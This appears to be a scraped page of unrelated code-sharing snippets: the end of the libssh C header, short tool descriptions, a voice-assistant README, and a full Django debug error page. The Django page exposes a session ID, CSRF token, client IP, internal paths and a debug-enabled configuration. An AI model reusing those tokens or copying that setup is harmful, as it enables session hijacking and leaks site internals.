ssh_set_agent_channel(ssh_session session, ssh_channel channel); 730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); 731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); 732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, 733 ssh_counter rcounter); 734 LIBSSH_API void ssh_set_fd_except(ssh_session session); 735 LIBSSH_API void ssh_set_fd_toread(ssh_session session); 736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session); 737 LIBSSH_API void ssh_silent_disconnect(ssh_session session); 738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); 739 740 /* USERAUTH */ 741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); 742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); 743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, 744 const char *username, 745 const ssh_key pubkey); 746 LIBSSH_API int ssh_userauth_publickey(ssh_session session, 747 const char *username, 748 const ssh_key privkey); 749 #ifndef _WIN32 750 LIBSSH_API int ssh_userauth_agent(ssh_session session, 751 const char *username); 752 #endif 753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, 754 const char *username, 755 const char *passphrase); 756 LIBSSH_API int ssh_userauth_password(ssh_session session, 757 const char *username, 758 const char *password); 759 760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); 761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); 762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); 763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); 764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); 765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); 766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); 767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, 768 const char *answer); 769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session); 770 LIBSSH_API const char *ssh_version(int req_version); 771 772 LIBSSH_API void ssh_string_burn(ssh_string str); 773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str); 774 LIBSSH_API void *ssh_string_data(ssh_string str); 775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); 776 #define SSH_STRING_FREE(x) \ 777 do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) 778 LIBSSH_API void ssh_string_free(ssh_string str); 779 LIBSSH_API ssh_string ssh_string_from_char(const char *what); 780 LIBSSH_API size_t ssh_string_len(ssh_string str); 781 LIBSSH_API ssh_string ssh_string_new(size_t size); 782 LIBSSH_API const char *ssh_string_get_char(ssh_string str); 783 LIBSSH_API char *ssh_string_to_char(ssh_string str); 784 #define SSH_STRING_FREE_CHAR(x) \ 785 do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) 786 LIBSSH_API void ssh_string_free_char(char *s); 787 788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, 789 int verify); 790 791 792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); 793 794 LIBSSH_API ssh_event ssh_event_new(void); 795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, 796 ssh_event_callback cb, void *userdata); 797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); 798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); 799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); 800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); 801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); 802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); 803 LIBSSH_API void ssh_event_free(ssh_event event); 804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); 805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); 806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); 807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); 808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); 809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); 810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); 811 812 LIBSSH_API ssh_buffer ssh_buffer_new(void); 813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); 814 #define SSH_BUFFER_FREE(x) \ 815 do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) 816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); 817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); 818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); 819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); 820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); 821 822 #ifndef LIBSSH_LEGACY_0_4 823 #include "libssh/legacy.h" 824 #endif 825 826 #ifdef __cplusplus 827 } 828 #endif 829 #endif /* _LIBSSH_H */</small> </body> </html> <!-- Juan Angel Luzardo Muslera / montevideo Uruguay -->
jaywcjlove / Chmod CliA simple command line tool for changing file permissions, A `chmod 777 filename` util for nodejs.
elapotts / Adding Jennifer Smith Carolyn Reilley To ClassIntegrityError at /classes/169/ (1062, "Duplicate entry '538-169' for key 'user_id'") Request Method: POST Request URL: http://chiport.mysqool.com/classes/169/ Django Version: 1.4 Exception Type: IntegrityError Exception Value: (1062, "Duplicate entry '538-169' for key 'user_id'") Exception Location: /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/MySQLdb/connections.py in defaulterrorhandler, line 36 Python Executable: /usr/bin/python Python Version: 2.7.3 Python Path: ['/home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/distribute-0.6.24-py2.7.egg', '/home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/pip-1.1-py2.7.egg', '/home/ubuntu/sites/mysqool/pyenv/src/ajax-select', '/home/ubuntu/sites/mysqool', '/home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages', '/home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/PIL', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-linux2', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages', '/home/ubuntu/sites/mysqool', '/home/ubuntu/sites/mysqool/apps', '/home/ubuntu/sites/mysqool/mysqool', '/home/ubuntu/sites/mysqool/mysqool/../apps/', '/home/ubuntu/sites/mysqool/mysqool/'] Server time: Mon, 22 Oct 2012 10:24:41 -0500 Traceback Switch to copy-and-paste view /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/core/handlers/base.py in get_response response = callback(request, *callback_args, **callback_kwargs) ... ▶ Local vars /home/ubuntu/sites/mysqool/apps/classes/views/klass.py in class_detail transaction=class_transaction) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/manager.py in create return self.get_query_set().create(**kwargs) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/query.py in create obj.save(force_insert=True, using=self.db) ... ▶ Local vars /home/ubuntu/sites/mysqool/apps/enrollment/models.py in save super(Enrollment, self).save(*args, **kwargs) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/base.py in save self.save_base(using=using, force_insert=force_insert, force_update=force_update) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/base.py in save_base result = manager._insert([self], fields=fields, return_id=update_pk, using=using, raw=raw) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/manager.py in _insert return insert_query(self.model, objs, fields, **kwargs) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/query.py in insert_query return query.get_compiler(using=using).execute_sql(return_id) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/models/sql/compiler.py in execute_sql cursor.execute(sql, params) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/backends/util.py in execute return self.cursor.execute(sql, params) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/django/db/backends/mysql/base.py in execute return self.cursor.execute(query, args) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/MySQLdb/cursors.py in execute self.errorhandler(self, exc, value) ... ▶ Local vars /home/ubuntu/sites/mysqool/pyenv/lib/python2.7/site-packages/MySQLdb/connections.py in defaulterrorhandler raise errorclass, errorvalue ... ▶ Local vars Request information GET No GET data POST Variable Value enroll u'Enroll' csrfmiddlewaretoken u'EY4XM6MqG0yE6afiqZtGwFh2v511Y4TT' users u'310' FILES No FILES data COOKIES Variable Value csrftoken 'EY4XM6MqG0yE6afiqZtGwFh2v511Y4TT' sessionid 'ddb59a24417d9786170978a5346e3c9b' META Variable Value mod_wsgi.listener_port '80' HTTP_REFERER 'http://chiport.mysqool.com/classes/169/' mod_wsgi.listener_host '' SERVER_SOFTWARE 'Apache/2.2.22 (Ubuntu)' SCRIPT_NAME u'' mod_wsgi.handler_script '' SERVER_SIGNATURE '<address>Apache/2.2.22 (Ubuntu) Server at chiport.mysqool.com Port 80</address>\n' REQUEST_METHOD 'POST' PATH_INFO u'/classes/169/' HTTP_ORIGIN 'http://chiport.mysqool.com' SERVER_PROTOCOL 'HTTP/1.1' QUERY_STRING '' CONTENT_LENGTH '86' HTTP_USER_AGENT 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25' HTTP_CONNECTION 'keep-alive' HTTP_COOKIE 'csrftoken=EY4XM6MqG0yE6afiqZtGwFh2v511Y4TT; sessionid=ddb59a24417d9786170978a5346e3c9b' SERVER_NAME 'chiport.mysqool.com' REMOTE_ADDR '71.201.52.157' mod_wsgi.request_handler 'wsgi-script' wsgi.url_scheme 'http' PATH_TRANSLATED '/home/ubuntu/sites/mysqool/mysqool.wsgi/classes/169/' SERVER_PORT '80' wsgi.multiprocess True mod_wsgi.input_chunked '0' SERVER_ADDR '10.39.97.132' DOCUMENT_ROOT '/etc/apache2/htdocs' mod_wsgi.process_group '' SCRIPT_FILENAME '/home/ubuntu/sites/mysqool/mysqool.wsgi' SERVER_ADMIN 'info@mysqool.com' wsgi.input <mod_wsgi.Input object at 0x7f847d321c70> HTTP_HOST 'chiport.mysqool.com' wsgi.multithread True mod_wsgi.callable_object 'application' REQUEST_URI '/classes/169/' HTTP_ACCEPT 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' wsgi.version (1, 1) GATEWAY_INTERFACE 'CGI/1.1' wsgi.run_once False wsgi.errors <mod_wsgi.Log object at 0x7f847d321af0> REMOTE_PORT '57290' HTTP_ACCEPT_LANGUAGE 'en-us' mod_wsgi.version (3, 3) CONTENT_TYPE 'application/x-www-form-urlencoded' mod_wsgi.application_group 'staging.mysqool.com|' mod_wsgi.script_reloading '1' wsgi.file_wrapper '' CSRF_COOKIE 'EY4XM6MqG0yE6afiqZtGwFh2v511Y4TT' HTTP_ACCEPT_ENCODING 'gzip, deflate' Settings Using settings module mysqool.settings Setting Value USE_L10N False USE_THOUSAND_SEPARATOR False CSRF_COOKIE_SECURE False LANGUAGE_CODE 'en-us' ROOT_URLCONF 'mysqool.urls' MANAGERS (('', ''),) DEFAULT_CHARSET 'utf-8' STATIC_ROOT '/home/ubuntu/sites/mysqool/mysqool/static/' MESSAGE_STORAGE 'django.contrib.messages.storage.fallback.FallbackStorage' EMAIL_SUBJECT_PREFIX '[Django] ' SEND_BROKEN_LINK_EMAILS False URL_VALIDATOR_USER_AGENT 'Django/1.4 (https://www.djangoproject.com)' STATICFILES_FINDERS ('django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder') SESSION_COOKIE_DOMAIN None SESSION_COOKIE_NAME 'sessionid' ADMIN_FOR () TIME_INPUT_FORMATS ('%H:%M %p', '%P', '%H:%M%A', '%H:%M %A', '%H:%M%a', '%H:%M %a') DATABASES {'default': {'ENGINE': 'django.db.backends.mysql', 'HOST': '', 'NAME': 'mysqool', 'OPTIONS': {}, 'PASSWORD': u'********************', 'PORT': '', 'TEST_CHARSET': None, 'TEST_COLLATION': None, 'TEST_MIRROR': None, 'TEST_NAME': None, 'TIME_ZONE': 'America/Chicago', 'USER': 'mysqool'}} FILE_UPLOAD_PERMISSIONS None FILE_UPLOAD_HANDLERS ('django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler') DEFAULT_CONTENT_TYPE 'text/html' TEST_RUNNER 'django.test.simple.DjangoTestSuiteRunner' AJAX_SELECT_BOOTSTRAP True APPEND_SLASH True FIRST_DAY_OF_WEEK 0 DATABASE_ROUTERS [] YEAR_MONTH_FORMAT 'F Y' STATICFILES_STORAGE 'django.contrib.staticfiles.storage.StaticFilesStorage' CACHES {'default': {'BACKEND': 'django.core.cache.backends.locmem.LocMemCache', 'LOCATION': ''}} SERVER_EMAIL 'noreply@mysqool.com' SESSION_COOKIE_PATH '/' USE_X_FORWARDED_HOST False MIDDLEWARE_CLASSES ('mediagenerator.middleware.MediaMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware', 'debug_toolbar.middleware.DebugToolbarMiddleware', 'mysqool.middleware.authentication.EnforceLoginMiddleware') USE_I18N False THOUSAND_SEPARATOR ',' SECRET_KEY u'********************' LANGUAGE_COOKIE_NAME 'django_language' DEFAULT_INDEX_TABLESPACE '' TRANSACTIONS_MANAGED False LOGGING_CONFIG 'django.utils.log.dictConfig' TEMPLATE_LOADERS ('django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader') WSGI_APPLICATION 'mysqool.wsgi.application' TEMPLATE_DEBUG True X_FRAME_OPTIONS 'SAMEORIGIN' AUTHENTICATION_BACKENDS ('mysqool.backends.authentication.EmailOrUsernameModelBackend', 'django.contrib.auth.backends.ModelBackend') FORCE_SCRIPT_NAME None CACHE_BACKEND 'locmem://' SIGNING_BACKEND 'django.core.signing.TimestampSigner' SESSION_COOKIE_SECURE False CSRF_COOKIE_DOMAIN None FILE_CHARSET 'utf-8' DEBUG True SESSION_FILE_PATH None DEFAULT_FILE_STORAGE 'django.core.files.storage.FileSystemStorage' INSTALLED_APPS ('django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.humanize', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.flatpages', 'django.contrib.admin', 'django.contrib.webdesign', 'administration', 'attendance', 'calendars', 'classes', 'dashboard', 'enrollment', 'helper', 'people', 'schools', 'transactions', 'mediagenerator', 'widget_tweaks', 'crispy_forms', 'ajax_select', 'debug_toolbar', 'registration', 'profiles', 'oembed', 'south', 'tagging') LANGUAGES (('ar', 'Arabic'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('bn', 'Bengali'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('el', 'Greek'), ('en', 'English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy-nl', 'Frisian'), ('ga', 'Irish'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hu', 'Hungarian'), ('id', 'Indonesian'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('nb', 'Norwegian Bokmal'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Traditional Chinese')) COMMENTS_ALLOW_PROFANITIES False STATICFILES_DIRS ('/home/ubuntu/sites/mysqool/mysqool/static-files/',) PREPEND_WWW False SECURE_PROXY_SSL_HEADER None AUTH_PROFILE_MODULE 'people.Profile' SESSION_COOKIE_HTTPONLY True DEBUG_PROPAGATE_EXCEPTIONS False CACHE_MIDDLEWARE_ALIAS 'default' MONTH_DAY_FORMAT 'F j' LOGIN_URL '/login/' SESSION_EXPIRE_AT_BROWSER_CLOSE False TIME_FORMAT ('%I:%M %p',) DATE_INPUT_FORMATS ('%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', '%b %d %Y', '%b %d, %Y', '%d %b %Y', '%d %b, %Y', '%B %d %Y', '%B %d, %Y', '%d %B %Y', '%d %B, %Y') CSRF_COOKIE_NAME 'csrftoken' EMAIL_HOST_PASSWORD u'********************' PASSWORD_RESET_TIMEOUT_DAYS u'********************' AJAX_LOOKUP_CHANNELS {'student_name': ('schools.lookups', 'UserLookup')} SESSION_SAVE_EVERY_REQUEST False ADMIN_MEDIA_PREFIX '/static//admin/' NUMBER_GROUPING 0 SESSION_ENGINE 'django.contrib.sessions.backends.db' CSRF_FAILURE_VIEW 'django.views.csrf.csrf_failure' CSRF_COOKIE_PATH '/' LOGIN_REDIRECT_URL '/' PUBLIC_URLS ('api/', 'login/', 'logout/', 'registration/password/reset/(.*)') PROJECT_ROOT '/home/ubuntu/sites/mysqool/mysqool' LOGGING {'disable_existing_loggers': False, 'filters': {'require_debug_false': {'()': 'django.utils.log.RequireDebugFalse'}}, 'handlers': {'mail_admins': {'class': 'django.utils.log.AdminEmailHandler', 'filters': ['require_debug_false'], 'level': 'ERROR'}}, 'loggers': {'django.request': {'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True}}, 'version': 1} IGNORABLE_404_URLS () LOCALE_PATHS () TEMPLATE_STRING_IF_INVALID '' LOGOUT_URL '/accounts/logout/' EMAIL_USE_TLS True FIXTURE_DIRS () EMAIL_HOST 'smtp.sendgrid.net' DATE_FORMAT 'N j, Y' MEDIA_ROOT '/home/ubuntu/sites/mysqool/mysqool/media/' DEFAULT_EXCEPTION_REPORTER_FILTER 'django.views.debug.SafeExceptionReporterFilter' ADMINS (('', ''),) FORMAT_MODULE_PATH None DEFAULT_FROM_EMAIL 'noreply@mysqool.com' MEDIA_URL '/media/' DATETIME_FORMAT 'N j, Y, P' TEMPLATE_DIRS ('/home/ubuntu/sites/mysqool/mysqool/templates',) DIF ('%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M:%S.%f', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M:%S.%f', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M:%S.%f', '%m/%d/%y %H:%M', '%m/%d/%y') SITE_ID 1 DISALLOWED_USER_AGENTS () ALLOWED_INCLUDE_ROOTS () DECIMAL_SEPARATOR '.' SHORT_DATE_FORMAT 'm/d/Y' AJAX_SELECT_INLINES 'inline' CACHE_MIDDLEWARE_KEY_PREFIX u'********************' TIME_ZONE 'America/Chicago' FILE_UPLOAD_MAX_MEMORY_SIZE 2621440 EMAIL_BACKEND 'django.core.mail.backends.smtp.EmailBackend' DEFAULT_TABLESPACE '' TEMPLATE_CONTEXT_PROCESSORS ('django.contrib.auth.context_processors.auth', 'django.core.context_processors.debug', 'django.core.context_processors.i18n', 'django.core.context_processors.media', 'django.core.context_processors.static', 'django.core.context_processors.request', 'django.core.context_processors.tz', 'django.contrib.messages.context_processors.messages', 'mysqool.context_processors.school_info') SESSION_COOKIE_AGE 86400 SETTINGS_MODULE 'mysqool.settings' USE_ETAGS False LANGUAGES_BIDI ('he', 'ar', 'fa') FILE_UPLOAD_TEMP_DIR None INTERNAL_IPS ('127.0.0.1',) STATIC_URL '/static/' EMAIL_PORT 587 USE_TZ False SHORT_DATETIME_FORMAT 'm/d/Y P' PASSWORD_HASHERS u'********************' ABSOLUTE_URL_OVERRIDES {} CACHE_MIDDLEWARE_SECONDS 600 DEBUG_TOOLBAR_CONFIG {'INTERCEPT_REDIRECTS': False} DATETIME_INPUT_FORMATS ('%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M:%S.%f', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M:%S.%f', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M:%S.%f', '%m/%d/%y %H:%M', '%m/%d/%y', '%m/%d/%Y %I:%M %p', '%m/%d/%Y %I:%M%p') EMAIL_HOST_USER 'sandersnewmedia' PROFANITIES_LIST u'********************' You're seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 500 page.
ClaireCJS / Fix Unicode Filenamesremove all emoji, unicode, and special/problematic characters from filenames and strings with this standalone tool / importable module
shwetakumawat / Voice Assistant Intelligent ApplicationFeatures: It can do a lot of cool things, some of them being: - Greet user - Tell current time and date - Launch applications/softwares - Open any website - Tells about weather of any city - Open location of any place plus tells the distance between your place and queried place - Tells your current system status (RAM Usage, battery health, CPU usage) - Tells about your upcoming events (Google Calendar) - Tells about any person (via Wikipedia) - Can search anything on Google - Can play any song on YouTube - Tells top headlines (via Times of India) - Plays music - Send email (with subject and content) - Calculate any mathematical expression (example: Jarvis, calculate x + 135 - 234 = 345) - Answer any generic question (via Wolframalpha) - Take important note in notepad - Tells a random joke - Tells your IP address - Can switch the window - Can take screenshot and save it with custom filename - Can hide all files in a folder and also make them visible again - Has a cool Graphical User Interface ## API Keys To run this program you will require a bunch of API keys. Register your API key by clicking the following links - [OpenWeatherMap API](https://openweathermap.org/api) - [Wolframalpha](https://www.wolframalpha.com/) - [Google Calendar API](https://developers.google.com/calendar/auth) ## Installation - First clone the repo - Make a config.py file and include the following in it: ```weather_api_key = "<your_api_key>" email = "<your_email>" email_password = "<your_email_password>" wolframalpha_id = "<your_wolframalpha_id>" - Copy the config.py file in Jarvis>config folder - Make a new python environment If you are using anaconda just type ```conda create -n jarvis python==3.8.5 ``` in anaconda prompt - To activate the environment ``` conda activate jarvis ``` - Navigate to the directory of your project - Install all the requirements by just hitting ``` pip install -r requirements.txt ``` - Install PyAudio from wheel file by following instructions given [here](https://stackoverflow.com/a/55630212) - Run the program by ``` python main.py ``` - Enjoy !!!! ## Code Structure ├── driver ├── Jarvis # Main folder for features │ ├── config # Contains all secret API Keys │ ├── features # All functionalities of JARVIS │ └── utils # GUI images ├── __init__.py # Definition of feature's functions ├── gui.ui # GUI file (in .ui format) ├── main.py # main driver program of Jarvis ├── requirements.txt # all dependencies of the program - The code structure if pretty simple. The code is completely modularized and is highly customizable - To add a new feature: - Make a new file in features folder, write the feature's function you want to include - Add the function's definition to __init__.py - Add the voice commands through which you want to invoke the function ## Contribute Please read [CONTRIBUTING.md](https://github.com/Gladiator07/JARVIS/blob/master/CONTRIBUTING.md) for details on our code of conduct, and the process for submitting pull requests. ## License This project is licensed under [MIT License](https://github.com/Gladiator07/JARVIS/blob/master/LICENSE) 2021 Atharva Ingle ## Future Improvements - Generalized conversations can be made possible by incorporating Natural Language Processing - GUI can be made more nicer to look at and functional - More functionalities can be added